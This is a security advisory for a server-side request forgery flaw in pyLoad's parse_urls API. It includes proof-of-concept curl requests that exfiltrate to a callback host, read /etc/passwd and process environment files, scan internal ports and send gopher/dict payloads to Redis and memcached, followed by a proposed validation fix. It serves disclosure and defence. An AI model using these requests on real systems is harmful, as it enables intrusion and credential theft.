GHSA-2wvg-62qm-gj33 pyLoad: SSRF in parse_urls API endpoint via unvalidated URL parameter

• PyPI pyload-ng: <= 0.5.0b3.dev96 (no fix yet)

Vulnerability Details CWE-918: Server-Side Request Forgery (SSRF) The `parse_urls` API function in `src/pyload/core/api/__init__.py` (line 556) fetches arbitrary URLs server-side via `get_url(url)` (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can: • Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints • Read local files via `file://` protocol (pycurl reads the file server-side) • Interact with internal services via `gopher://` and `dict://` protocols • Enumerate file existence via error-based oracle (error 37 vs empty response) Vulnerable Code `src/pyload/core/api/__init__.py` (line 556): ```python def parse_urls(self, html=None, url=None): if url: page = get_url(url) # NO protocol restriction, NO URL validation, NO IP blacklist urls.update(RE_URLMATCH.findall(page)) ``` No validation is applied to the `url` parameter. The underlying pycurl supports `file://`, `gopher://`, `dict://`, and other dangerous protocols by default. Steps to Reproduce Setup ```bash docker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest ``` Log in as any user with ADD permission and extract the CSRF token: ```bash CSRF= ``` PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration) ```bash curl -s -b "pyload_session_8000=" -H "X-CSRFToken: " -H "Content-Type: application/x-www-form-urlencoded" -d "url=http://ssrf-proof./pyload-ssrf-poc" http://localhost:8084/api/parse_urls ``` Result: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments. PoC 2: Local file read via file:// protocol ```bash Reading /etc/passwd (file exists) -> empty response (no error) curl ... -d "url=file:///etc/passwd" http://localhost:8084/api/parse_urls Response: {} Reading nonexistent file -> pycurl error 37 curl ... -d "url=file:///nonexistent" http://localhost:8084/api/parse_urls Response: {"error": "(37, \'Couldn't open file /nonexistent\')"} ``` The difference confirms pycurl successfully reads local files. While `parse_urls` only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a file existence oracle. Files confirmed readable: • `/etc/passwd`, `/etc/hosts` • `/proc/self/environ` (process environment variables) • `/config/settings/pyload.cfg` (pyLoad configuration) • `/config/data/pyload.db` (SQLite database) PoC 3: Internal port scanning ```bash curl ... -d "url=http://127.0.0.1:22/" http://localhost:8084/api/parse_urls Response: pycurl.error: (7, 'Failed to connect to 127.0.0.1 port 22') ``` PoC 4: gopher:// and dict:// protocol support ```bash curl ... -d "url=gopher://127.0.0.1:6379/_INFO" http://localhost:8084/api/parse_urls curl ... -d "url=dict://127.0.0.1:11211/stat" http://localhost:8084/api/parse_urls ``` Both protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.). Impact An authenticated user with ADD permission can: • Read local files via `file://` protocol (configuration, credentials, database files) • Enumerate file existence via error-based oracle (`Couldn't open file` vs empty response) • Access cloud metadata endpoints (AWS IAM credentials at `http://169.254.169.254/`, GCP service tokens) • Scan internal network services and ports via error-based timing • Interact with internal services via `gopher://` (Redis RCE, SMTP relay) and `dict://` • Exfiltrate data via DNS/HTTP to attacker-controlled servers The multi-protocol support (`file://`, `gopher://`, `dict://`) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF. Proposed Fix Restrict allowed protocols and validate target addresses: ```python from urllib.parse import urlparse import ipaddress import socket def _is_safe_url(url): parsed = urlparse(url) if parsed.scheme not in ('http', 'https'): return False hostname = parsed.hostname if not hostname: return False try: for info in socket.getaddrinfo(hostname, None): ip = ipaddress.ip_address(info[4][0]) if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved: return False except (socket.gaierror, ValueError): return False return True def parse_urls(self, html=None, url=None): if url: if not _is_safe_url(url): raise ValueError("URL targets a restricted address or uses a disallowed protocol") page = get_url(url) urls.update(RE_URLMATCH.findall(page)) ```